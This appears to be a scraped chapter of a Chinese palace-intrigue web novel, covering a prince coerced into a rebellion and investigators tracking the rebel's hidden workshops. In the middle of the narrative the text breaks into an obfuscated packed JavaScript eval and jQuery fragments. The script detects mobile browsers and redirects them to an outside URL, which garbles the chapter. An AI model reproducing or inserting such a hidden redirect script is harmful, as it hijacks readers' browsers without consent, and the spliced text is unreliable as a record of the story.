默认冷灰
24号文字
方正启体

70.风起

作者:无耶本书字数:K更新时间:
    一阵冷风拂过,卷起一片树叶擦过程昉的衣摆飘进室内。


    程昉盯着窗外,一应人正紧锣密鼓地收拾刀枪器具,看天色,要起风了。


    有人推门而入,“大外甥可考虑清楚了?”


    “舅舅别痴心妄想了,至多不过三日,便会有人找到这里。”程昉被这蠢舅舅坑惨了。


    谢崇文不怒反笑,“你以为我为何敢造反?你以为谢家村为何能悄无声息地转移?你以为这些天为何都没人发现我们在何处?”


    程昉心中不是没有怀疑,即便有人帮他打掩护,以承平司的手段再慢些也该查到了,除非……承平司就是他的掩护……


    不忧骤然归来,应当无法在短时间内做到这等份上。冯德林?这些年在承平司也算是头把交椅,有这样的能力,可他唯父皇马首是瞻,不至于同舅舅勾结造反。


    除非他们想利用我除掉父皇,再除掉我……


    舅舅许了冯德林什么,冯德林甘愿放弃这么多年在父皇身边的苦心经营转投他门下?


    “承平司的关系错综复杂,舅舅不怕被反咬一口吗?”谢崇文的葫芦里究竟卖的什么药?


    “你只管放心登基便是。”谢崇文成竹在胸。


    “弑君乃大逆不道之事,我如何做得?史书如何写?后世子民该如何看待我?”程昉本就是板上钉钉的太子,何须如此大费周折谋求皇位,稍不留神便是遗臭万年。


    谢崇文见说不通,换了副面孔威胁道:“你以为你现在还有得选吗?我们这位陛下你不是不清楚,平生最是猜忌人心。卧榻之侧,岂容他人酣睡?眼下即便是有违你的本心,在陛下看来,你我已是同一条船的人,下不去了。”


    程昉心中生出一股烦闷和暴躁,诚如谢崇文所说,最是无情皇家人。他压根儿不敢赌程万年对他的舐犊情深,暮春之变过去不过十多年而已。


    眼下谢崇文谋反已成定局,即便有证据证明他是被绑架的,也无法完全打消程万年心中的疑窦。


    “你没得选,今日夜里便要行动了。”谢崇文不再多言,程昉本就是一面旗子,愿意配合便省心省力,不愿意配合,不过花些功夫将他绑了便是。


    程昉眸色深沉,一拳打在窗棂上,窗棂应声裂开。


    -


    程万年翻着折子,这帮臣子关键时刻掉链子,没几个真有建树的,参起卫宁和姜滢来倒是不吝笔墨,火上浇油,对于谢崇文的事绝口不提。


    前几日大殿之上的情景历历在目,想必都不敢再步御史大夫的后尘。


    高昱添了杯茶便立在一旁,君心难测,太子未归,必然龙颜大怒,现下找不到谢崇文,只怕有人会遭殃。


    “高昱,传旨。”程万年一本一本翻折子,高昱静待片刻,“寻鑫欺君罔上,惑乱君心,着令革去官职,下狱听审。”


    高昱:“谨遵圣命。”


    -


    “查清楚了,牙行的账册中记载了这几家药铺的归属,均在谢顺的名下。”景怜光彻夜未眠,即便是身为三族人,连日操劳,也颇感疲累。


    “那便是谢崇文没得跑了,再查谢家所有的产业。”卫宁敲着手指头,快了,一定要赶在他们闹事之前解决。


    “查了,谢家的庄子田铺一应都在此处。”景怜光行事周全,抬了一个木箱子进来,里头都是契票。“谢家的产业除了祖荫和赏赐,大多是谢崇文这两代吞并以及贪腐贿赂的,这些都暂且不论,有几处有意思的地方。”


    景怜光将几张契票递给卫宁,“这几处地方均为私人造厂,依大邺律法,凡在朝为官者,不得经商买卖,轻则降级,重则辞官掉脑袋,更别提造厂了。而谢崇文这几处私人造厂全登记在谢府管家的名下。”


    “有何问题?”卫宁问。


    “问题就在此处,这几处造厂这些年赚了不少银子,总不能全进了一个管家的腰包,虽说宰相门前七品官,可一个管家怎么也吞不下这么多的钱财。我查过了,这些造厂的收益全进了谢崇文的口袋。”


    “这同我们查的事有关?谢崇文拿这些银子养着谢家村?”卫宁没听出关联。


    “可以这么说,但远不止于此,这些造厂里不乏可以制造炸药的地方,药材铺的一应材料统统运到了这几个地方。”景怜光终于说到重点。


    “那还等什么,带人抄了这些地方,将火药原料和造厂看管起来。”卫宁摩拳擦掌,顺着这些造厂的线索摸出谢崇文的藏身之所应当不难。


    “姜珩已经带人去了,只是……”景怜光欲言又止。


    “你也觉得我们方向错了?”卫宁道。


    卫宁他们早已算准,若是谢崇文想要闹事,定然是在火上做文章,派人去工部核实的烟火制数也对不上,顺着这条线索查到了这些地方,派人将火药清缴了。


    卫宁嘀咕了一句,“太顺了。”


    景怜光附和道:“我也隐约觉得不对劲,谢崇文这么傻?”


    “即便没有火药支援,谢崇文要闹事也容易,他手里的那批人才是关键,他们能躲在哪儿呢?”卫宁想不通,即便人数没三五千,也有三五百,怎么能瞒过所有人呢?


    景怜光猛然回神,“谢崇文一定不止这些产业,衣食住行皆是必要,即便他伏脉千里,总不至于让人饿死。”


    “谢崇文这些年究竟做了多少缺德亏心的事?”卫宁每过一份契票,心内便对谢崇文多一份厌恶,同样是人,一两银子也能活,十两银子便能活得不错,他搜刮这样多的钱财,一辈子都用不尽。


    景怜光:“权钱相交,从来如此。”


    两人连忙翻看谢家的一应账册和契票,从晌午至夤夜。


    “若是多年潜伏,一应事物应是稳固的,从谢家村转走的那批人也要吃喝拉撒,我们之前查硝石矿的方向错了,应当查沿途哨岗,这么多人转移,即便是有所准备,也总能留下些蛛丝马迹。”卫宁恍然大悟,为之前的掉以轻心懊悔不已。


    事已至此,景怜光只得加紧查探,她递过来一张契票,又拿来一张地图,“你看此处,听说是前朝一位世家门阀大诗人的隐居之所,地偏人稀,但庄子占地够大,住个三五百人不成问题,离谢家村不远不近,中间又无关卡哨岗。”


    “谢崇文会把人安排在这么好的地方?”卫宁不晓谢崇文是否舍得,总之她不会。


    景怜光:“派人去看看,总比我们毫无头绪的好。”


    敲门声响起。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17460861|195342||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “姑娘睡了吗?”冬葵问。


    卫宁:“进来吧。”


    “姑娘,陛下突然下旨降罪寻家,撤了寻鑫的官职,将人下狱了。”冬葵道。


    “为何?”卫宁疑惑,近日里寻鑫并未生事,寻家也安生,程万年拿他开刀,不应该啊。


    “不知,不过……”冬葵顿了顿,“高公公亲至寻府宣旨,寻鑫接旨当场吐血,眼下正在医治,只怕撑不过今晚了。”


    卫宁猛然起身,同景怜光对视一眼,“寻罂何在?”


    冬葵:“回寻府侍疾了。”


    “下去吧。”卫宁犹疑,她实在是想不出程万年对寻鑫下手的理由,“陛下是为了泄愤?寻鑫不过是个爱争宠的小老头,即便搭上谢家的门槛参与了丘山庄的事,总不至于谢家还未倒台,便要提前清算。”


    “难说,我们这位陛下最是阴险。”景怜光手心泛酸,伴君如伴虎,“陛下被谢崇文摆了一道,又惋惜程昉的太子之位,寻鑫此前对太子大放厥词,猜错了圣意。老虎嘴前拔了毛,多事之秋,陛下心烦便拿他开刀了。”


    卫宁啧了一声,“说句大逆不道的,这位阴险的陛下真的那么在意太子吗?不过是个儿子,又不是没有其他儿子了。”


    景怜光四下戒备,确认周遭无人偷听才开口,“你这话休要再提,到底是太子之位,事关皇家颜面,况且……”


    “别吞吞吐吐。”卫宁催促。


    “况且陛下子嗣不丰,除了程昉和程昀适龄,只有一位尚且年幼的五皇子,太子这些年本分勤勉,陛下对他是满意的。即便程昉废位,程昀也无法得到太子之位。”


    “怎么?我那表兄果然上不得台面?”不怪卫宁瞧不上程昀,只是程昀实在没表露出一国之君的气质。


    景怜光摇头,“程昀的母亲是三族人,细说起来,是崇阿族人。他自幼失怙,陛下也不喜他,更不可能把太子之位给他。即便程昉谋逆斩杀,太子之位也是五皇子的。”


    “竟是如此。”卫宁挠了挠下巴,难怪程昀在程万年面前那般小心翼翼,“眼下程昉是板上钉钉的谋逆,还剩一个五皇子。”


    “你别乱来,眼下阻止谢崇文造反才是关键。”景怜光出言。


    卫宁直视景怜光的眼睛,“若是要程昉彻底无望,不如不阻止谢崇文造反,不是吗?”


    景怜光唰地一身冷汗,问道:“你为何有这般想法?”


    卫宁沉默,答非所问,“我若是谢崇文必定抓紧时间动手,拖的时间越长,暴露的机会就越大,说不定会选在今晚。这么一大批人马查到现在毫无踪迹,虽说我们的方向错了,可无方城里不止我们这些人在查,怎么其他府衙也未曾有消息?”


    “你是说有人拦着了?”景怜光问。


    “谢崇文失踪不过短短几日,查不出踪迹,对陛下那头似乎也交代得过去,你如何看?”卫宁自顾自道。


    “卫宁……”景怜光喉头微动。


    “这样慌张作甚?又不是你一人之力能办到的。”卫宁心里有了大致的猜测。


    景怜光心惊,“你怎么看?”


    卫宁不语,望向窗外,“听我娘说,她当年带我出逃时,也是这样的深夜。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)